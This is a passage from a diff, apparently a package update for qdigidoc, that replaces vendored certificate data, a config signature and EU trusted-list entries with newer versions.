KjTJPNsHQlMi7KZsIcTHOoBccx+54N8ZX1MgBozJmT59rZY/2/OeE163BAwD0UdUQAnMPP6+W3Vd",
@@ -71,7 +71,7 @@
     "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",
-    "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"
+    "MIIDojCCAyigAwIBAgISBW1ZGIEcBoFP9DjvHgJJ2fkcMAoGCCqGSM49BAMDMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQDEwJFNTAeFw0yNTA1MTQyMTAxNTVaFw0yNTA4MTIyMTAxNTRaMBYxFDASBgNVBAMTC2Nkb2MyLmlkLmVlMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAE2kfrvuHGqe8ptxtQtaYyaAVQZiixrhTzcqN834Ouvo/5qZsJBV20NH8WaDvEcd4uvwIid/SfnWBFWPQSA2FUDv4uiQnRyFNl6xwRsUQsFgRtdioK4rYisl1C9WCdTKgpo4ICGzCCAhcwDgYDVR0PAQH/BAQDAgeAMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQxzhIJudu2N8JXjEWQUKI0ylngTjAfBgNVHSMEGDAWgBSfK1/PPCFPnQS37SssxMZwi9LXDTAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKGFmh0dHA6Ly9lNS5pLmxlbmNyLm9yZy8wFgYDVR0RBA8wDYILY2RvYzIuaWQuZWUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0cDovL2U1LmMubGVuY3Iub3JnLzI5LmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3AA3h8jAr0w3BQGISCepVLvxHdHyx1+kw7w5CHrR+Tqo0AAABltDQKc8AAAQDAEgwRgIhALmJl1VBb70PKjfTQpYL9mR44mpV0qj8SJSdc4GcyefkAiEA31OLgI4U+iipjaKCrins/C1HDcROjqJJJGE1bpHXFd0AdwCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/L99FWfYnTzqEVAAAAZbQ0CnMAAAEAwBIMEYCIQC6VG9YetZysqr0LYKDJuA02e89XfmocjelOJPzhsg9cgIhAMmwdc2ydBAS+z+8VJ70qtPeaHhclSMy5uVKureuksCAMAoGCCqGSM49BAMDA2gAMGUCMG/agCxsOWRMPp9WKVYQ22h9Qlpa0XrLTDuNQRRohZn+QU97uKVPQUCzp09KC5yweAIxAJ41zEaWHR8mX2rAP73PX7PS2u9ybtmnvl7Pcdi0uW1+m2zgOOR9tFzVCqrzmkR8Lg=="
   ],
   "LDAP-CERTS": [
     "MIIDjjCCAnagAwIBAgIQAzrx5qcRqaC7KGSxHQn65TANBgkqhkiG9w0BAQsFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBHMjAeFw0xMzA4MDExMjAwMDBaFw0zODAxMTUxMjAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IEcyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuzfNNNx7a8myaJCtSnX/RrohCgiN9RlUyfuI2/Ou8jqJkTx65qsGGmvPrC3oXgkkRLpimn7Wo6h+4FR1IAWsULecYxpsMNzaHxmx1x7e/dfgy5SDN67sH0NO3Xss0r0upS/kqbitOtSZpLYl6ZtrAGCSYP9PIUkY92eQq2EGnI/yuum06ZIya7XzV+hdG82MHauVBJVJ8zUtluNJbd134/tJS7SsVQepj5WztCO7TG1F8PapspUwtP1MVYwnSlcUfIKdzXOS0xZKBgyMUNGPHgm+F6HmIcr9g+UQvIOlCsRnKPZzFBQ9RnbDhxSJITRNrw9FDKZJobq7nMWxM4MphQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUTiJUIBiV5uNu5g/6+rkS7QYXjzkwDQYJKoZIhvcNAQELBQADggEBAGBnKJRvDkhj6zHd6mcY1Yl9PMWLSn/pvtsrF9+wX3N3KjITOYFnQoQj8kVnNeyIv/iPsGEMNKSuIEyExtv4NeF22d+mQrvHRAiGfzZ0JFrabA0UWTW98kndth/Jsw1HKj2ZL7tcu7XUIOGZX1NGFdtom/DzMNU+MeKNhJ7jitralj41E6Vf8PlwUHBHQRFXGU7Aj64GxJUTFy8bJZ918rGOmaFvE7FBcf6IKshPECBV1/MUReXgRPTqh5Uykw7+U0b6LJ3/iyK5S9kJRaTepLiaWN0bfVKfjllDiIGknibVb63dDcY3fe0Dkhvld1927jyNxF1WW6LZZm6zNTflMrY="
diff --git a/pkgs/tools/security/qdigidoc/vendor/config.rsa b/pkgs/tools/security/qdigidoc/vendor/config.rsa
index e58eace25e59..e07cd5e064c5 100644
--- a/pkgs/tools/security/qdigidoc/vendor/config.rsa
+++ b/pkgs/tools/security/qdigidoc/vendor/config.rsa
@@ -1,5 +1,5 @@
-snzZCsIC8T05QePCP3en1SDkbmFnseFHJyVUymiZgfIxwxNhqQP+IaYubO6qZd3SCp1PRlA0A8Pn
-rHnnE15JuBa1JhRRXSi0jSTIR08zBu6AnUVigyMoAhKQOst3sRsZTWngWrcQW24ertsQssC7dL1i
-QFiYld6IMAHQX1B/GWSUlbezJcpawEum7YjqqZepcYFBMtU6B37rEEqPgWI7CZPeUy21KQmtoVmH
-jiGAL20cVlmNGHjybD1FoPzteK884D4Rw9sYIu3LF1wLZkVHHbSQnYwiQ5wJGIcBzG5t3OOU4eGN
-IY8kuRjDPE95+POFMYMrPWlufodqsonnutPv3Q==
+uN+IaPh/pmA96fd2aUXZeNai8XkAYnUy69Rhd2Bvu0kGnQg4oH2sYWmJCzaQECGbI86nlt/UXIqC
+ZDvJqGaK5jqhvUwNcb/RubN8tsOdM4xn/Bg7tPeQPcbCaM38EHIwRfNFKr+vuWrna/KUynWP0PHD
+Mpsq1MxtNT/L4WFNf2zKvtfiI0lRPQcBCRgrA21BVTZRu5nbAkLc5w1OliTwauQgx7GFh7M+gYms
+bkAZSaJJJQczbCn2xizG0HrBn/lQ/EZYlL432Wai7tJL0maZcXoRGJfvZQkDAdzyfDBOK291JnCW
+/tjoLEMwDBYLxoL2mztivwdT1W8HLUyi7jvhpQ==
diff --git a/pkgs/tools/security/qdigidoc/vendor/eu-lotl.xml b/pkgs/tools/security/qdigidoc/vendor/eu-lotl.xml
index 7fa5d3c05f2a..14f981a87c83 100644
--- a/pkgs/tools/security/qdigidoc/vendor/eu-lotl.xml
+++ b/pkgs/tools/security/qdigidoc/vendor/eu-lotl.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8" standalone="no"?><TrustServiceStatusList xmlns="http://uri.etsi.org/02231/v2#" xmlns:ns2="http://www.w3.org/2000/09/xmldsig#" xmlns:ns3="http://uri.etsi.org/02231/v2/additionaltypes#" xmlns:ns4="http://uri.etsi.org/01903/v1.3.2#" xmlns:ns5="http://uri.etsi.org/TrstSvc/SvcInfoExt/eSigDir-1999-93-EC-TrustedList/#" xmlns:ns6="http://uri.etsi.org/01903/v1.4.1#" Id="ID0001" TSLTag="http://uri.etsi.org/19612/TSLTag">
     <SchemeInformation>
         <TSLVersionIdentifier>5</TSLVersionIdentifier>
-        <TSLSequenceNumber>361</TSLSequenceNumber>
+        <TSLSequenceNumber>368</TSLSequenceNumber>
         <TSLType>http://uri.etsi.org/TrstSvc/TrustedList/TSLType/EUlistofthelists</TSLType>
         <SchemeOperatorName>
             <Name xml:lang="en">European Commission</Name>
@@ -589,21 +589,6 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
             </OtherTSLPointer>
             <OtherTSLPointer>
                 <ServiceDigitalIdentities>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIF3DCCA5SgAwIBAgIBCjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCA6EaMBgGCSqGSIb3DQEBCDALBglghkgBZQMEAgOiAwIBQDBWMSYwJAYDVQQDDB1HZXJtYW4gVHJ1c3RlZCBMaXN0IFNpZ25lciAxMDEfMB0GA1UECgwWRmVkZXJhbCBOZXR3b3JrIEFnZW5jeTELMAkGA1UEBgwCREUwHhcNMjMwNjIzMDgwMDAwWhcNMjUwNjIzMDgwMDAwWjBWMSYwJAYDVQQDDB1HZXJtYW4gVHJ1c3RlZCBMaXN0IFNpZ25lciAxMDEfMB0GA1UECgwWRmVkZXJhbCBOZXR3b3JrIEFnZW5jeTELMAkGA1UEBgwCREUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDRm8FwhXI6jMkfv4zesuR91pKnr0Wm8q/nQ9i4C5HGJdGAB8aFl/c86712QaKOdDP9HPAUoyjbOCYEpOOKl2JEHvCKukPwq+dly1MkFUXXXkuQzY8APSariCV9og5JaBXKdrs/Z4k7wd1HZiw3bORIAb783hOahn9YVgn6G7tFvK9we+CfCIq54hTiXFesSYXPnfkJOkC69LVRxKn3VtpuOzI53O4fU2L1CBiFTlQckGxfeeXto+JL1qAuE4WRk9p65ng7FcoKqfncCXCfNGRKX4CPPjod3Vlx75xnO1je7b+ztjrsim2y5y0yD5V0tBb3HehXTDMjqqOFFb/B4i6H5rwttU6i1M5O45a6H7KvssRnOEfEDK5X3EfBusHjRTEbDpgJz/J40vLN4Cg1rBWmkvQFbDKYn0sEVdCcy+K+N67l/PGJVptzmGN6T+15PGyVWhzBymuOQVdlpekG+Y6rUZnMK9/ttmTj9HbbVB1RelZwDaQJBTeGKUy4uihJeq3JdSrInS+JwpEnptsIHMj/iunB1XE8cF5xkycetnWyZCfLWheWDxV4mmFmjTpKdPrdjoRTzuoZ3LcJf+xOH7aQacRQsx14mbmd5+GRXlLQI1olUb5MkBlV9UgzN974rBRDtDDCioWIBkUBlND5088qBznrKrQcvjs47l69k4HVHQIDAQABo1UwUzAdBgNVHQ4EFgQULOqbenQeh8fRB/1hNOUGrFsFjBswDgYDVR0PAQH/BAQDAgFAMBQGA1UdJQEB/wQKMAgGBgQAkTcDADAMBgNVHRMBAf8EAjAAMD0GCSqGSIb3DQEBCjAwoA0wCwYJYIZIAWUDBAIDoRowGAYJKoZIhvcNAQEIMAsGCWCGSAFlAwQCA6IDAgFAA4ICAQBqpI